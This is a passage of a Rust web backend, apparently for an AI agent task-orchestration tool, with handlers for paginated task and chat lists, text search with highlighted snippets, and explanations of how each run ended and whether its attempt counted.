5262 ui.machine_config.as_deref(),
5263 &body.revision,
5264 &body.roles,
5265 &body.counts,
5266 &known,
5267 )
5268 .map(Json)
5269 .map_err(|e| match e {
5270 settings::SaveError::Conflict(m) => ApiError::conflict(m),
5271 settings::SaveError::Refused(m) => ApiError {
5272 text_reason: None,
5273 status: StatusCode::UNPROCESSABLE_ENTITY,
5274 message: m,
5275 },
5276 settings::SaveError::Internal(m) => ApiError::internal(m),
5277 })
5278 })
5279 .await
5280}
5281
5282async fn queue_list(
5283 State(ui): State<Arc<Ui>>,
5284 Query(q): Query<ListQuery>,
5285) -> ApiResult<Json<Vec<TaskView>>> {
5286 blocking(move || {
5287 let tasks = ui.queue.list();
5288 let inv =
5289 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5290 Ok(Json(
5291 tasks
5292 .into_iter()
5293 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5294 .map(|t| TaskView::with_inventory(t, &inv))
5295 .collect(),
5296 ))
5297 })
5298 .await
5299}
5300
5301#[derive(Debug, Default, Deserialize)]
5306struct PageQuery {
5307 before: Option<String>,
5308}
5309
5310#[derive(Serialize)]
5311struct StorePage<T> {
5312 rows: Vec<T>,
5313 next: Option<String>,
5314}
5315
5316const STORE_PAGE_SIZE: usize = 16;
5317
5318#[derive(Debug)]
5322struct ListWalk {
5323 token: u64,
5324 talks: bool,
5325 opened: std::time::Instant,
5326 ids: Arc<Vec<String>>,
5327 initial_end: usize,
5328}
5329
5330fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5331 page_ids_with(ui, talks, q, open_talk_ids)
5332}
5333
5334fn page_ids_with(
5335 ui: &Ui,
5336 talks: bool,
5337 q: PageQuery,
5338 classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5339) -> ApiResult<(Vec<String>, Option<String>)> {
5340 let mut walks = ui
5341 .monitor
5342 .list_walks
5343 .lock()
5344 .unwrap_or_else(PoisonError::into_inner);
5345 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5346 let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5347 let (token, offset) = cursor
5348 .split_once(':')
5349 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5350 let token = token
5351 .parse::<u64>()
5352 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5353 let offset = offset
5354 .parse::<usize>()
5355 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5356 let walk = walks
5357 .iter()
5358 .find(|walk| walk.token == token && walk.talks == talks)
5359 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5360 (token, walk.ids.clone(), offset, walk.initial_end)
5361 } else {
5362 drop(walks);
5365 let root = if talks {
5366 ui.talks.root()
5367 } else {
5368 ui.queue.root()
5369 };
5370 let mut ids = crate::queue::record_ids(root, "json")?;
5371 ids.sort_unstable_by(|a, b| b.cmp(a));
5372 let initial_end = if talks {
5373 let open = classify(ui, &ids);
5374 ids.sort_by_key(|id| !open.contains(id));
5377 open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5378 } else {
5379 STORE_PAGE_SIZE.min(ids.len())
5380 };
5381 let ids = Arc::new(ids);
5382 walks = ui
5383 .monitor
5384 .list_walks
5385 .lock()
5386 .unwrap_or_else(PoisonError::into_inner);
5387 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5388 let mut token = crate::rng::entropy();
5389 while walks.iter().any(|walk| walk.token == token) {
5390 token = crate::rng::entropy();
5391 }
5392 if walks.len() >= 16 {
5395 walks.remove(0);
5396 }
5397 walks.push(ListWalk {
5398 token,
5399 talks,
5400 opened: std::time::Instant::now(),
5401 ids: ids.clone(),
5402 initial_end,
5403 });
5404 (token, ids, 0, initial_end)
5405 };
5406 if offset > ids.len() {
5407 return Err(ApiError::bad_request("Invalid list cursor"));
5408 }
5409 let end = if offset == 0 {
5410 initial_end
5411 } else {
5412 offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5413 };
5414 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5415 Ok((ids[offset..end].to_vec(), next))
5416}
5417
5418async fn queue_page(
5419 State(ui): State<Arc<Ui>>,
5420 Query(q): Query<PageQuery>,
5421) -> ApiResult<Json<StorePage<TaskView>>> {
5422 blocking(move || {
5423 let (ids, next) = page_ids(&ui, false, q)?;
5424 let tasks: Vec<_> = ids
5425 .into_iter()
5426 .filter_map(|id| ui.queue.get(&id).ok())
5427 .collect();
5428 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5429 let rows = tasks
5430 .into_iter()
5431 .map(|task| TaskView::with_inventory(task, &inv))
5432 .collect();
5433 Ok(Json(StorePage { rows, next }))
5434 })
5435 .await
5436}
5437
5438#[derive(Debug, Clone, Serialize)]
5441struct TalkListView {
5442 title: Option<talk::ChatTitle>,
5443 id: String,
5444 repo: PathBuf,
5445 agent: String,
5446 status: talk::TalkStatus,
5447 turns: Vec<TalkListTurn>,
5448 turn_count: usize,
5449 unread_count: usize,
5450 context: talk::ContextUsage,
5451 #[serde(skip)]
5452 agent_times: Vec<Timestamp>,
5453 thinking: bool,
5454 created_at: Timestamp,
5455 updated_at: Timestamp,
5456}
5457
5458#[derive(Debug, Clone, Serialize)]
5459struct TalkListTurn {
5460 who: talk::Who,
5461 at: Timestamp,
5462 body: String,
5463}
5464
5465fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5466 let reads: HashMap<String, Timestamp> = headers
5467 .get("x-talk-reads")
5468 .and_then(|v| v.to_str().ok())
5469 .and_then(|v| serde_json::from_str(v).ok())
5470 .unwrap_or_default();
5471 let mut index = ui
5472 .monitor
5473 .talk_index
5474 .lock()
5475 .unwrap_or_else(PoisonError::into_inner);
5476 if index.len() > 1000 {
5478 let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5479 index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5480 if index.len() > 1000 {
5481 index.retain(|id, _| keep.contains(id.as_str()));
5482 }
5483 }
5484 ids.into_iter()
5485 .filter_map(|id| {
5486 let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5487 if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5488 let talk = ui.talks.get(&id).ok()?;
5489 #[cfg(test)]
5490 ui.monitor
5491 .talk_parses
5492 .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5493 let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5494 let last = talk.turns.len().checked_sub(1);
5495 let turns = talk
5496 .turns
5497 .iter()
5498 .enumerate()
5499 .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5500 .map(|(_, t)| TalkListTurn {
5501 who: t.who,
5502 at: t.at,
5503 body: t
5504 .body
5505 .lines()
5506 .next()
5507 .unwrap_or_default()
5508 .chars()
5509 .take(240)
5510 .collect(),
5511 })
5512 .collect();
5513 let row = TalkListView {
5514 title: talk.title.clone(),
5515 agent_times: talk
5516 .turns
5517 .iter()
5518 .filter(|t| t.who == talk::Who::Agent)
5519 .map(|t| t.at)
5520 .collect(),
5521 turn_count: talk.turns.len(),
5522 unread_count: 0,
5523 context: talk::context_usage(&talk, None),
5524 turns,
5525 thinking: false,
5526 id: talk.id,
5527 repo: talk.repo,
5528 agent: talk.agent,
5529 status: talk.status,
5530 created_at: talk.created_at,
5531 updated_at: talk.updated_at,
5532 };
5533 index.insert(id.clone(), (identity, row));
5534 }
5535 let row = &index.get(&id)?.1;
5536 let mut row = TalkListView {
5537 title: row.title.clone(),
5538 unread_count: row
5539 .agent_times
5540 .iter()
5541 .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5542 .count(),
5543 agent_times: Vec::new(),
5544 id: row.id.clone(),
5545 repo: row.repo.clone(),
5546 agent: row.agent.clone(),
5547 status: row.status,
5548 context: row.context.clone(),
5549 turns: row.turns.clone(),
5550 turn_count: row.turn_count,
5551 thinking: false,
5552 created_at: row.created_at,
5553 updated_at: row.updated_at,
5554 };
5555 row.thinking = ui.is_thinking(&id);
5556 Some(row)
5557 })
5558 .collect()
5559}
5560
5561async fn talks_page(
5562 State(ui): State<Arc<Ui>>,
5563 Query(q): Query<PageQuery>,
5564 headers: header::HeaderMap,
5565) -> ApiResult<Json<StorePage<TalkListView>>> {
5566 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5567 let (ids, next) = page_ids(&ui, true, q)?;
5568 Ok(Json(StorePage {
5569 rows: talk_rows(&ui, ids, &headers),
5570 next,
5571 }))
5572 })
5573 .await
5574}
5575
5576async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5577 blocking(move || {
5578 let tasks = ui.indexed_tasks()?;
5579 Ok(Json(TaskCountsView::from(
5580 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5581 )))
5582 })
5583 .await
5584}
5585
5586const SEARCH_MAX_HITS: usize = 100;
5588const SEARCH_MAX_QUERY: usize = 200;
5590const SEARCH_MAX_TERMS: usize = 8;
5591const SNIPPET_BEFORE: usize = 50;
5593const SNIPPET_AFTER: usize = 110;
5594
5595#[derive(Debug, Deserialize)]
5597struct SearchQuery {
5598 #[serde(default)]
5599 scope: String,
5600 #[serde(default)]
5601 q: String,
5602}
5603
5604#[derive(Debug, Serialize, PartialEq, Eq)]
5607struct SnippetPart {
5608 text: String,
5609 hit: bool,
5610}
5611
5612#[derive(Debug, Serialize)]
5613struct SearchHit {
5614 id: String,
5615 field: String,
5617 snippet: Vec<SnippetPart>,
5618 #[serde(skip_serializing_if = "Option::is_none")]
5622 run: Option<RunSummary>,
5623}
5624
5625#[derive(Debug, Serialize)]
5626struct SearchView {
5627 scope: String,
5628 q: String,
5629 hits: Vec<SearchHit>,
5631 total: usize,
5633 truncated: bool,
5634 unreadable: usize,
5637}
5638
5639fn text_leaves<'a>(
5642 value: &'a serde_json::Value,
5643 field: &'a str,
5644 out: &mut Vec<(&'a str, &'a str)>,
5645) {
5646 match value {
5647 serde_json::Value::String(s) => out.push((field, s)),
5648 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5649 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5650 _ => {}
5651 }
5652}
5653
5654fn fold_char(c: char) -> char {
5657 c.to_lowercase().next().unwrap_or(c)
5658}
5659
5660fn search_terms(q: &str) -> Vec<String> {
5662 let mut terms: Vec<String> = Vec::new();
5663 for t in q.split_whitespace() {
5664 let t = t.to_lowercase();
5665 if !terms.contains(&t) {
5666 terms.push(t);
5667 }
5668 }
5669 terms
5670}
5671
5672fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5675 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5676 let mut first: Option<usize> = None;
5677 for term in terms {
5678 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5679 first = Some(first.map_or(at, |f| f.min(at)));
5680 }
5681 let (field, text) = leaves[first?];
5683 Some(SearchHit {
5684 id: String::new(),
5685 field: field.to_owned(),
5686 snippet: snippet_of(text, terms),
5687 run: None,
5688 })
5689}
5690
5691fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5694 let chars: Vec<char> = text.chars().collect();
5695 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5696 let needles: Vec<Vec<char>> = terms
5697 .iter()
5698 .map(|t| t.chars().map(fold_char).collect())
5699 .collect();
5700 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5701 let mut best: Option<(usize, usize)> = None;
5702 for n in needles.iter().filter(|n| !n.is_empty()) {
5703 if n.len() > chars.len() || to == 0 {
5707 continue;
5708 }
5709 let last = (to - 1).min(chars.len() - n.len());
5710 if from > last {
5711 continue;
5712 }
5713 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5714 && best.is_none_or(|(b, _)| i < b)
5715 {
5716 best = Some((i, i + n.len()));
5717 }
5718 }
5719 best
5720 };
5721 let Some((start, _)) = find(0, chars.len()) else {
5722 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5724 return vec![SnippetPart {
5725 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5726 hit: false,
5727 }];
5728 };
5729 let lo = start.saturating_sub(SNIPPET_BEFORE);
5730 let hi = (start + SNIPPET_AFTER).min(chars.len());
5731 let mut parts: Vec<SnippetPart> = Vec::new();
5732 let mut push = |s: &[char], hit: bool| {
5733 if s.is_empty() {
5734 return;
5735 }
5736 let text: String = s.iter().collect();
5737 match parts.last_mut() {
5738 Some(p) if p.hit == hit => p.text.push_str(&text),
5739 _ => parts.push(SnippetPart { text, hit }),
5740 }
5741 };
5742 if lo > 0 {
5743 push(&['\u{2026}'], false);
5744 }
5745 let mut at = lo;
5746 while at < hi {
5747 match find(at, hi) {
5748 Some((s, e)) => {
5749 push(&chars[at..s], false);
5750 let shown = e.min(hi);
5752 push(&chars[s..shown], true);
5753 at = shown;
5754 }
5755 None => {
5756 push(&chars[at..hi], false);
5757 at = hi;
5758 }
5759 }
5760 }
5761 if hi < chars.len() {
5762 push(&['\u{2026}'], false);
5763 }
5764 let mut prev_space = false;
5767 for p in &mut parts {
5768 let mut out = String::with_capacity(p.text.len());
5769 for c in p.text.chars() {
5770 if c.is_whitespace() {
5771 if !prev_space {
5772 out.push(' ');
5773 }
5774 prev_space = true;
5775 } else {
5776 out.push(c);
5777 prev_space = false;
5778 }
5779 }
5780 p.text = out;
5781 }
5782 parts.retain(|p| !p.text.is_empty());
5783 parts
5784}
5785
5786fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5788where
5789 I: IntoIterator<Item = (String, serde_json::Value)>,
5790{
5791 for (id, doc) in docs {
5792 let mut leaves = Vec::new();
5793 leaves.push(("id", id.as_str()));
5796 text_leaves(&doc, "", &mut leaves);
5797 if let Some(mut hit) = search_document(terms, &leaves) {
5798 view.total += 1;
5799 if view.hits.len() < SEARCH_MAX_HITS {
5800 hit.id = id;
5801 view.hits.push(hit);
5802 }
5803 }
5804 }
5805 view.truncated = view.total > view.hits.len();
5806}
5807
5808fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5814 let opener = talk
5815 .title
5816 .as_ref()
5817 .filter(|t| !t.text.is_empty())
5818 .map(|t| t.text.as_str())
5819 .or_else(|| {
5820 talk.turns
5821 .iter()
5822 .find(|t| t.who == talk::Who::Operator)
5823 .map(|t| t.body.as_str())
5824 })
5825 .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5826 .unwrap_or("");
5827 let title: String = if opener.chars().count() > 96 {
5828 opener.chars().take(95).chain(['\u{2026}']).collect()
5829 } else {
5830 opener.to_owned()
5831 };
5832 let turns: Vec<serde_json::Value> = talk
5833 .turns
5834 .iter()
5835 .map(|t| {
5836 let who = match t.who {
5837 crate::talk::Who::Operator => "operator",
5838 crate::talk::Who::Agent => "agent",
5839 };
5840 serde_json::json!({ who: t.body })
5841 })
5842 .collect();
5843 serde_json::json!({ "title": title, "turns": turns })
5844}
5845
5846async fn search_get(
5853 State(ui): State<Arc<Ui>>,
5854 Query(q): Query<SearchQuery>,
5855) -> ApiResult<Json<SearchView>> {
5856 let query = q.q.trim().to_owned();
5857 if query.is_empty() {
5858 return Err(ApiError::bad_request("q must not be empty"));
5859 }
5860 if query.chars().count() > SEARCH_MAX_QUERY {
5861 return Err(ApiError::bad_request(format!(
5862 "q is longer than {SEARCH_MAX_QUERY} characters"
5863 )));
5864 }
5865 let terms = search_terms(&query);
5866 if terms.len() > SEARCH_MAX_TERMS {
5867 return Err(ApiError::bad_request(format!(
5868 "q has more than {SEARCH_MAX_TERMS} terms"
5869 )));
5870 }
5871 let scope = q.scope;
5872 if scope != "runs" && scope != "tasks" && scope != "chats" {
5873 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5874 }
5875 blocking(move || {
5876 let mut view = SearchView {
5877 scope: scope.clone(),
5878 q: query,
5879 hits: Vec::new(),
5880 total: 0,
5881 truncated: false,
5882 unreadable: 0,
5883 };
5884 if scope == "runs" {
5885 let mut unreadable = 0;
5886 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5890 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5891 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5892 Some(v) => Some((id, v)),
5893 None => {
5894 unreadable += 1;
5895 None
5896 }
5897 }
5898 });
5899 search_docs(&terms, docs, &mut view);
5900 view.unreadable = unreadable;
5901 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5904 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5905 for hit in &mut view.hits {
5906 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5907 hit.run = summarize(
5908 [state],
5909 &open_runs,
5910 &claimed,
5911 &superseded,
5912 |p| probe.borrow_mut().status(p),
5913 |p| probe.borrow_mut().started_at(p),
5914 )
5915 .pop();
5916 }
5917 }
5918 } else if scope == "chats" {
5919 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5920 view.unreadable = unreadable;
5921 search_docs(
5922 &terms,
5923 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5924 &mut view,
5925 );
5926 } else {
5927 let docs = ui.queue.list().into_iter().filter_map(|t| {
5928 let mut v = serde_json::to_value(&t).ok()?;
5929 if let Some(o) = v.as_object_mut() {
5932 o.insert("filed_by".to_owned(), t.source.label().into());
5933 }
5934 Some((t.id, v))
5935 });
5936 search_docs(&terms, docs, &mut view);
5937 }
5938 Ok(Json(view))
5939 })
5940 .await
5941}
5942
5943#[derive(Debug, Serialize)]
5945struct TaskRunView {
5946 activity: Option<String>,
5947 n: usize,
5949 id: String,
5950 short: String,
5951 kind: &'static str,
5953 status: Option<&'static str>,
5955 readable: bool,
5957 provisional: bool,
5959 description: String,
5961 outcome: String,
5963 created_at: Option<Timestamp>,
5964 pr: Option<String>,
5965 exit: RunExit,
5967 attempt: AttemptCost,
5969 exit_label: String,
5972 later_pass: Option<usize>,
5975 pass_n: usize,
5979 passes_of_run: usize,
5980 pass: Option<PassView>,
5983 branch: Option<String>,
5985 badge: Option<String>,
5988}
5989
5990#[derive(Debug, Clone, PartialEq, Serialize)]
5992struct PassView {
5993 index: usize,
5994 resumed: bool,
5995 started_at: Timestamp,
5996 ended_at: Option<Timestamp>,
5997 end: &'static str,
5999 cause: Option<crate::run::ParkCause>,
6000 label: String,
6002 cost: Option<crate::queue::PassCost>,
6005}
6006
6007impl PassView {
6008 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6009 use crate::run::PassEnd;
6010 let (end, cause, label) = match &p.end {
6011 None => ("open", None, "still open".to_owned()),
6012 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6013 Some(PassEnd::Unrecorded) => (
6014 "unrecorded",
6015 None,
6016 "stopped without recording why (a crash, a kill or a restart; not known)"
6017 .to_owned(),
6018 ),
6019 };
6020 Self {
6021 index: p.index,
6022 resumed: p.resumed,
6023 started_at: p.started_at,
6024 ended_at: p.ended_at,
6025 end,
6026 cause,
6027 label,
6028 cost: settled.map(|t| t.cost),
6029 }
6030 }
6031}
6032
6033#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6035#[serde(rename_all = "snake_case")]
6036enum RunExit {
6037 Unreadable,
6038 Interrupted,
6040 Parked,
6041 MachineBlocked,
6042 QuotaStall,
6043 ResumedQuotaStall,
6047 Merged,
6048 Ready,
6049 Superseded,
6050 AlreadyInBase,
6053 Stalled,
6055 HeldWithPr,
6057 NoopHeld,
6058 Spent,
6060 InProgress,
6061}
6062
6063#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6064#[serde(rename_all = "snake_case")]
6065enum AttemptCost {
6066 Spent,
6067 Refunded,
6068 None,
6069 Unknown,
6071}
6072
6073impl RunExit {
6074 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6075 let Some(s) = s else {
6076 return Self::Unreadable;
6077 };
6078 let status = s.status;
6079 if resumed_later {
6080 Self::Interrupted
6081 } else if s.parked {
6082 Self::Parked
6083 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6084 Self::MachineBlocked
6085 } else if !status.done() {
6086 Self::InProgress
6087 } else if matches!(status, RunStatus::Merged) {
6088 Self::Merged
6089 } else if matches!(status, RunStatus::Ready) {
6090 Self::Ready
6091 } else if matches!(status, RunStatus::Superseded) {
6092 Self::Superseded
6093 } else if matches!(status, RunStatus::AlreadyInBase) {
6094 Self::AlreadyInBase
6095 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6096 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6097 {
6098 if resumed {
6099 Self::ResumedQuotaStall
6100 } else {
6101 Self::QuotaStall
6102 }
6103 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6104 Self::HeldWithPr
6105 } else if matches!(status, RunStatus::VerifiedNoop) {
6106 Self::NoopHeld
6107 } else if matches!(status, RunStatus::Stalled) {
6108 Self::Stalled
6109 } else {
6110 Self::Spent
6111 }
6112 }
6113
6114 fn cost(self) -> AttemptCost {
6115 match self {
6116 Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6117 Self::Merged
6118 | Self::Ready
6119 | Self::Stalled
6120 | Self::HeldWithPr
6121 | Self::NoopHeld
6122 | Self::Spent => AttemptCost::Spent,
6123 Self::InProgress => AttemptCost::None,
6124 Self::AlreadyInBase => AttemptCost::Refunded,
6125 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6126 AttemptCost::Unknown
6127 }
6128 }
6129 }
6130
6131 fn edge_label(self, status: Option<&str>) -> String {
6133 match self {
6134 Self::Unreadable => "record unreadable".to_owned(),
6135 Self::Interrupted => "interrupted before the run finished".to_owned(),
6136 Self::Parked => "parked, attempt refunded".to_owned(),
6137 Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6138 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6139 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6140 Self::Merged => "merged".to_owned(),
6141 Self::Ready => "ready, not merged".to_owned(),
6142 Self::Superseded => "superseded by a later attempt".to_owned(),
6143 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6144 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6145 Self::HeldWithPr => "blocked, PR left open".to_owned(),
6146 Self::NoopHeld => "verified no-op".to_owned(),
6147 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6148 Self::InProgress => "in progress".to_owned(),
6149 }
6150 }
6151
6152 fn explains(self, end: TaskStatus) -> bool {
6155 match self {
6156 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6157 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6158 Self::Unreadable | Self::Superseded | Self::Ready => true,
6159 _ => end != TaskStatus::Done,
6160 }
6161 }
6162}
6163
6164#[derive(Debug, Serialize)]
6166struct TaskDetailView {
6167 #[serde(flatten)]
6168 task: TaskView,
6169 max_attempts: usize,
6172 history: Vec<TaskRunView>,
6173 passes_total: usize,
6176 runs_distinct: usize,
6178 flow: FlowView,
6179 followup_origin: Option<FollowUpOrigin>,
6181 runs_unreadable: usize,
6183 attempts_note: &'static str,
6185}
6186
6187const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6188and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6189on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6190the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6191
6192fn review_branch_of(instruction: &str) -> Option<&str> {
6195 let rest = instruction.strip_prefix("Review the work already on branch `")?;
6196 rest.split('`').next().filter(|b| !b.is_empty())
6197}
6198
6199#[derive(Default)]
6201struct RunSlot<'a> {
6202 n: usize,
6204 resumed: bool,
6206 resumed_later: Option<usize>,
6208 prior: Option<(&'a str, RunStatus)>,
6210 last: bool,
6211 pass: Option<&'a crate::run::RunPass>,
6213 settled: Option<&'a crate::queue::TaskPass>,
6215 pass_n: usize,
6217 passes_of_run: usize,
6218}
6219
6220fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6223 let RunSlot {
6224 n,
6225 resumed,
6226 resumed_later,
6227 prior,
6228 last,
6229 pass,
6230 settled,
6231 pass_n,
6232 passes_of_run,
6233 } = at;
6234 let short = run::short_of(id).to_owned();
6235 let Some(s) = state else {
6236 return TaskRunView {
6237 activity: None,
6238 n,
6239 id: id.to_owned(),
6240 short,
6241 kind: "unknown",
6242 status: None,
6243 readable: false,
6244 provisional: false,
6245 description:
6246 "This run's record could not be read by this build (written by a different \
6247 magi, or removed), so what kind of attempt it was is unknown."
6248 .to_owned(),
6249 outcome: String::new(),
6250 created_at: None,
6251 pr: None,
6252 exit: RunExit::Unreadable,
6253 attempt: AttemptCost::Unknown,
6254 exit_label: RunExit::Unreadable.edge_label(None),
6255 later_pass: resumed_later,
6256 pass_n,
6257 passes_of_run,
6258 pass: None,
6259 branch: None,
6260 badge: None,
6261 };
6262 };
6263 let branch = review_branch_of(&s.instruction);
6264 let kind = if resumed {
6265 "resume"
6266 } else if branch.is_some() {
6267 "review"
6268 } else if task.solo || s.candidates.len() == 1 {
6269 "solo"
6270 } else {
6271 "competition"
6272 };
6273 let mut description = match kind {
6274 "resume" => {
6275 format!("Resumed run {short}: the same run carried on instead of competing again.")
6276 }
6277 "review" => format!(
6278 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6279 branch.unwrap_or_default()
6280 ),
6281 "solo" => "Solo run: one implementer straight into review.".to_owned(),
6282 _ => format!(
6283 "Competition: {} candidates judged blind.",
6284 s.candidates.len().max(1)
6285 ),
6286 };
6287 if !resumed && let Some((p, st)) = prior {
6288 description.push_str(&format!(
6289 " A retry: run {p} before it ended {}.",
6290 st.display_label()
6291 ));
6292 }
6293
6294 let status = s.status;
6295 let provisional = matches!(status, RunStatus::Stalled)
6296 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6297 let head = if resumed_later.is_some() {
6298 String::new()
6299 } else {
6300 match status {
6301 RunStatus::Merged => "Merged.".to_owned(),
6302 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6303 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6304 RunStatus::AlreadyInBase => {
6305 "Already in the base: this change landed under other commits, nothing was left to land."
6306 .to_owned()
6307 }
6308 RunStatus::Stalled => {
6309 "Stalled: the judging panel never reached a quorum, so there is no verdict."
6310 .to_owned()
6311 }
6312 RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6313 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6314 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6315 RunStatus::VerifiedNoop => {
6316 "Verified no-op: the candidates found nothing to change.".to_owned()
6317 }
6318 other if other.done() => format!("Ended {}.", other.display_label()),
6319 other => format!("In progress ({}).", other.display_label()),
6320 }
6321 };
6322 let view = pass.map(|p| PassView::of(p, settled));
6323 let recorded_end = view
6324 .as_ref()
6325 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6326 let cost_words = match view.as_ref().and_then(|v| v.cost) {
6327 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6328 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6329 None => "whether its attempt was handed back was not recorded",
6330 };
6331 let pass_note = if passes_of_run > 1 {
6332 format!(
6333 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6334 )
6335 } else {
6336 String::new()
6337 };
6338 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6339 let cause = match v.end {
6341 "parked" => format!("It was stopped on purpose: {}.", v.label),
6342 _ => format!("It {}.", v.label),
6343 };
6344 format!(
6345 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6346 capitalise(cost_words)
6347 )
6348 } else if let Some(k) = resumed_later {
6349 let cause = if s.quota.is_empty() {
6356 "the cause was not recorded: a park, a crash or a restart all look the same from here"
6357 } else {
6358 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6359 };
6360 format!(
6361 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6362 )
6363 } else if s.parked {
6364 match recorded_end.and_then(|v| v.cause.as_ref()) {
6365 Some(cause) => format!(
6366 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6367 cause.label(),
6368 cost_words
6369 ),
6370 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6371 .to_owned(),
6372 }
6373 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6374 " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6375 } else if !status.done()
6376 || matches!(
6377 status,
6378 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6379 )
6380 {
6381 String::new()
6382 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6383 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6384 {
6385 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6386 .to_owned()
